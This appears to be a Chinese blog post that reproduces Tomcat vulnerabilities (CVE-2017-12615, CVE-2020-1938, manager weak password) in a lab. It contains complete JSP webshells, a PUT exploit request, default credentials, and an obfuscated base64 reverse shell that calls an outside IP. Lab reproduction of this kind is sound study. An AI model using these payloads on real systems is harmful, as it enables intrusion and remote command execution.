• 周一. 4月 29th, 2024

5G编程聚合网

5G时代下一个聚合的编程学习网

热门标签

tomcat漏洞复现

admin

11月 28, 2021

简介

参考链接:

Tomcat是Apache 软件基金会(Apache Software Foundation)的Jakarta 项目中的一个核心项目,由Apache、Sun 和其他一些公司及个人共同开发而成。由于有了Sun 的参与和支持,最新的Servlet 和JSP 规范总是能在Tomcat 中得到体现,Tomcat 5支持最新的Servlet 2.4 和JSP 2.0 规范。因为Tomcat 技术先进、性能稳定,而且免费,因而深受Java 爱好者的喜爱并得到了部分软件开发商的认可,成为目前比较流行的Web 应用服务器。

CVE-2017-12615

参考链接:

在tomcat的配置文件web.xml中,参数readonly设置为false或者使用参数readonly设置启用WebDAV servlet false,则允许用户上传jsp文件。如果可以上传jsp文件,则会导致远程代码执行。

漏洞影响范围:

  • Apache Tomcat 7.0.0 – 7.0.79

漏洞复现

启动环境。

漏洞攻击payload:

<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
+"\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>

访问http://your-ip:8080/,使用burp拦截,将GET方式改为PUT,将上面内容或冰蝎jsp脚本内容提交。上面的payload命令执行方式:http://your-ip:8080/tomcat.jsp?&pwd=023&cmd=whoami 。我使用的是上面的内容。

PUT /tomcat.jsp::$DATA HTTP/1.1
Host: your-ip:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 534

<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
+"\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>

服务器响应201为正常创建jsp脚本。

文件在服务器的创建路径为:/usr/local/tomcat/webapps/ROOT

PUT上传的路径要以/结尾,如果返回404说明没有写/

创建jsp文件成功后,执行命令。

漏洞修复

该漏洞的利用需要前提,即允许用户上传jsp脚本文件,但默认情况下是不存在该漏洞的。

升级版本,该漏洞已在Apache Tomcat 7.0.81中修复。

CVE-2020-1938(文件读取/包含漏洞)

参考链接:

Apache Tomcat服务器存在文件包含漏洞,攻击者可利用该漏洞读取或包含 Tomcat 上所有 webapp 目录下的任意文件,如:webapp 配置文件或源代码等。

漏洞影响范围:

  • Apache Tomcat 6
  • Apache Tomcat 7 < 7.0.100
  • Apache Tomcat 8 < 8.5.51
  • Apache Tomcat 9 < 9.0.31

漏洞复现

启动环境。

环境启动成功后,使用网上已有的验证代码即可,如下:

我使用的是最后一个poc,克隆代码后,使用如下命令进行漏洞测试:

python tomcat.py read_file --webapp=ROOT/   /WEB-INF/classes/application.yml 139.198.172.202

反弹shell,这个漏洞还是个包含漏洞,可以进行代码执行。通过http://www.jackson-t.ca/runtime-exec-payloads.html网站对我们反弹shell的命令进行编码。

b

将下面内容保存到test.txt文件中,然后上传到服务器。

<%
java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMzkuMTk4LjE3Mi4yMDIvODk5OCAwPiYx}|{base64,-d}|{bash,-i}").getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
%>

上面知道创宇的参考文章只说将抓包上传到服务器,我不知道是怎么抓包上传的,所以我直接用docker命令把文件拷贝进容器中了。

docker cp ./test.txt [容器id]:/usr/local/tomcat/webapps/ROOT/

注意拷贝到容器内部的文件路径。

nc监听端口,执行payload。

漏洞修复

tomcat8(弱口令+getshell漏洞)

参考链接:

漏洞复现

启动环境。

打开http://your-ip:8080/manager/html,输入后台弱口令:tomcat:tomcat。

通过弱口令登录后台后,上传war包getshell。首先准备一个jsp木马,压缩成zip文件,再修改后缀名为.war,war包即可制作完成。jsp木马内容:

<%@ page language="java" contentType="text/html; charset=GBK"
    pageEncoding="UTF-8"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>

    <head>
        <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
        <title>一句话木马</title>
    </head>

    <body>
        <%
        if ("admin".equals(request.getParameter("pwd"))) {
            java.io.InputStream input = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
            int len = -1;
            byte[] bytes = new byte[4092];
            out.print("<pre>");
            while ((len = input.read(bytes)) != -1) {
                out.println(new String(bytes, "GBK"));
            }
            out.print("</pre>");
        }
    %>
    </body>

</html>

上传webshell,webshell的位置在后台等候后就可以看到。

上传完成。

文件上传的路径在/usr/local/tomcat/webapps/shell/shell.jsp,所以访问时候的路径为http://your-ip:8080/shell/shell.jsp。访问并执行命令:http://your-ip:8080/shell/shell.jsp?pwd=admin&cmd=id

漏洞修复

  • 后台不要使用弱口令
  • 修改后台管理路径等
本博客虽然很垃圾,但所有内容严禁转载

《tomcat漏洞复现》有一个想法

发表回复

您的电子邮箱地址不会被公开。 必填项已用*标注